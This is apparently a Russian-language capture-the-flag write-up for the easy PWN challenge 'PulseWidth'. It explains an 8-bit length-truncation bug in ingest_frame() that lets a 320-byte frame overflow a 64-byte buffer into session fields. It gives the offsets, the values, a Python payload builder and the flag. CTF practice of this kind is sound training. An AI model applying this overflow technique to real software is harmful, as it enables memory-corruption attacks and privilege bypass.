41 lines
2.1 KiB
Markdown
41 lines
2.1 KiB
Markdown
<h1 align="center">PulseWidth</h1>
|
||
|
||
<p align="center">
|
||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||
<img src="https://img.shields.io/badge/difficulty-easy-brightgreen" alt="easy"/>
|
||
</p>
|
||
|
||
PulseWidth принимает телеметрию промышленных датчиков и выдаёт закрытый экспорт только с нужными правами сессии. В раздатке есть ELF `pulsewidth`. При проверке длины кадра ограничение применяют к 8-битному значению, а чтение использует полное число байт.
|
||
|
||
## Решение
|
||
|
||
В `ingest_frame()` сравнивают `(uint8_t)n` с размером `scratch[64]`, затем вызывают `read_exact(session_state.scratch, n)`. Старшие биты длины при проверке теряются.
|
||
|
||
Берём `n = 320`. После приведения к `uint8_t` остаётся `64`, поэтому лимит пройден. А чтение запишет все 320 байт, из которых 256 окажутся за пределами scratch-буфера.
|
||
|
||
Сразу за ним лежат поля сессии:
|
||
|
||
| Смещение | Поле | Нужное значение |
|
||
|---:|---|---|
|
||
| 64 | `role`, 4 байта | `0x4341504c` |
|
||
| 68 | `export_lane`, 4 байта | `0x45585054` |
|
||
| 72 | `audit_cookie`, 8 байт | `0x2605061337c0ffee` |
|
||
|
||
Собираем кадр в little-endian:
|
||
|
||
```python
|
||
import struct
|
||
|
||
payload = b"A" * 64
|
||
payload += struct.pack("<IIQ", 0x4341504c, 0x45585054, 0x2605061337c0ffee)
|
||
payload = payload.ljust(320, b"B")
|
||
```
|
||
|
||
В `1) ingest pulse frame` указываем длину `320` и передаём payload. Кадр перезаписывает поля `role`, `export_lane` и `audit_cookie` значениями, необходимыми для экспорта. Пункт `3) export sealed bundle` проверяет уже подменённые поля и печатает флаг.
|
||
|
||
[Солвер](solve/solve.py).
|
||
|
||
## Флаг
|
||
|
||
`caplag{len_folded_into_live_capability}`
|